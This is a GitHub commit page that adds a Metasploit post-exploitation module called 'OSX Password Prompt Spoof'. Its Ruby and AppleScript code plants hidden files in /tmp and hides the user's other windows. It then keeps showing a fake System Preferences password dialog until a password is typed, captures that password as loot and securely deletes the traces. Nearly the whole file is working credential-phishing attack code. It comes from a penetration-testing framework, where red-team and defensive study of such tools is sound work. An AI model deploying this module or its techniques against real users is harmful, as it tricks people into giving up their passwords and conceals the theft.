Skip to content

Commit bce50d1

Browse files
committed
Land rapid7#2220 - OSX Password Prompt Spoof
2 parents 54cffdb + 919e0d1 commit bce50d1

File tree

1 file changed

+188
-0
lines changed

1 file changed

+188
-0
lines changed
Lines changed: 188 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,188 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/file'
12+
13+
class Metasploit3 < Msf::Post
14+
include Msf::Post::Common
15+
include Msf::Post::File
16+
include Msf::Auxiliary::Report
17+
18+
def initialize(info={})
19+
super( update_info( info,
20+
'Name' => 'OSX Password Prompt Spoof',
21+
'Description' => %q{
22+
Presents a password prompt dialog to a logged-in OSX user.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' => [
26+
'Joff Thyer <jsthyer[at]gmail.com>', # original post module
27+
'joev <jvennix[at]rapid7.com>' # bug fixes
28+
],
29+
'Platform' => [ 'osx' ],
30+
'References' => [
31+
['URL', 'http://blog.packetheader.net/2011/10/fun-with-applescript.html']
32+
],
33+
'SessionTypes' => [ "shell", "meterpreter" ]
34+
))
35+
36+
register_options([
37+
OptString.new(
38+
'TEXTCREDS',
39+
[
40+
true,
41+
'Text displayed when asking for password',
42+
'Type your password to allow System Preferences to make changes'
43+
]
44+
),
45+
OptString.new(
46+
'ICONFILE',
47+
[
48+
true,
49+
'Icon filename relative to bundle',
50+
'UserUnknownIcon.icns'
51+
]
52+
),
53+
OptString.new(
54+
'BUNDLEPATH',
55+
[
56+
true,
57+
'Path to bundle containing icon',
58+
'/System/Library/CoreServices/CoreTypes.bundle'
59+
]
60+
),
61+
OptInt.new('TIMEOUT', [true, 'Timeout for user to enter credentials', 60])
62+
], self.class)
63+
end
64+
65+
def cmd_exec(str)
66+
print_status "Running cmd '#{str}'..."
67+
super
68+
end
69+
70+
# Run Method for when run command is issued
71+
def run
72+
if client.nil?
73+
print_error("Invalid session ID selected. Make sure the host isn't dead.")
74+
return
75+
end
76+
77+
host = case session.type
78+
when /meterpreter/
79+
sysinfo["Computer"]
80+
when /shell/
81+
cmd_exec("/bin/hostname").chomp
82+
end
83+
84+
print_status("Running module against #{host}")
85+
86+
dir = "/tmp/." + Rex::Text.rand_text_alpha((rand(8)+6))
87+
runme = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
88+
creds_osa = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
89+
creds = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
90+
pass_file = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6))
91+
92+
username = cmd_exec("/usr/bin/whoami").strip
93+
cmd_exec("umask 0077")
94+
cmd_exec("/bin/mkdir #{dir}")
95+
96+
# write the script that will launch things
97+
write_file(runme, run_script)
98+
cmd_exec("/bin/chmod 700 #{runme}")
99+
100+
# write the credentials script, compile and run
101+
write_file(creds_osa,creds_script(pass_file))
102+
cmd_exec("/usr/bin/osacompile -o #{creds} #{creds_osa}")
103+
cmd_exec("#{runme} #{creds}")
104+
print_status("Waiting for user '#{username}' to enter credentials...")
105+
106+
timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i
107+
pass_found = false
108+
while (::Time.now.to_f < timeout)
109+
if ::File.exist?(pass_file)
110+
print_status("Password entered! What a nice compliant user...")
111+
pass_found = true
112+
break
113+
end
114+
Rex.sleep(0.5)
115+
end
116+
117+
if pass_found
118+
password_data = read_file("#{pass_file}").strip
119+
print_good("password file contents: #{password_data}")
120+
passf = store_loot("password", "text/plain", session, password_data, "passwd.pwd", "OSX Password")
121+
print_good("Password data stored as loot in: #{passf}")
122+
else
123+
print_status("Timeout period expired before credentials were entered!")
124+
end
125+
126+
print_status("Cleaning up files in #{host}:#{dir}")
127+
cmd_exec("/usr/bin/srm -rf #{dir}")
128+
end
129+
130+
# "wraps" the #creds_script applescript and allows it to make UI calls
131+
def run_script
132+
%Q{
133+
#!/bin/bash
134+
osascript <<EOF
135+
set scriptfile to "$1"
136+
tell application "AppleScript Runner"
137+
do script scriptfile
138+
end tell
139+
EOF
140+
}
141+
end
142+
143+
# applescript that displays the actual password prompt dialog
144+
def creds_script(pass_file)
145+
textcreds = datastore['TEXTCREDS']
146+
ascript = %Q{
147+
set filename to "#{pass_file}"
148+
set myprompt to "#{textcreds}"
149+
set ans to "Cancel"
150+
repeat
151+
try
152+
tell application "Finder"
153+
activate
154+
tell application "System Events" to keystroke "h" using {command down, option down}
155+
set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
156+
set ans to button returned of d_returns
157+
set mypass to text returned of d_returns
158+
if ans is equal to "OK" and mypass is not equal to "" then exit repeat
159+
end tell
160+
end try
161+
end repeat
162+
try
163+
set now to do shell script "date '+%Y%m%d_%H%M%S'"
164+
set user to do shell script "whoami"
165+
set myfile to open for access filename with write permission
166+
set outstr to now & ":" & user & ":" & mypass & "
167+
"
168+
write outstr to myfile starting at eof
169+
close access myfile
170+
on error
171+
try
172+
close access myfile
173+
end try
174+
end try
175+
}
176+
end
177+
178+
# Checks if the target is OSX Server
179+
def check_server
180+
cmd_exec("/usr/bin/sw_vers -productName").chomp =~ /Server/
181+
end
182+
183+
# Enumerate the OS Version
184+
def get_ver
185+
# Get the OS Version
186+
cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp
187+
end
188+
end

0 commit comments

Comments
 (0)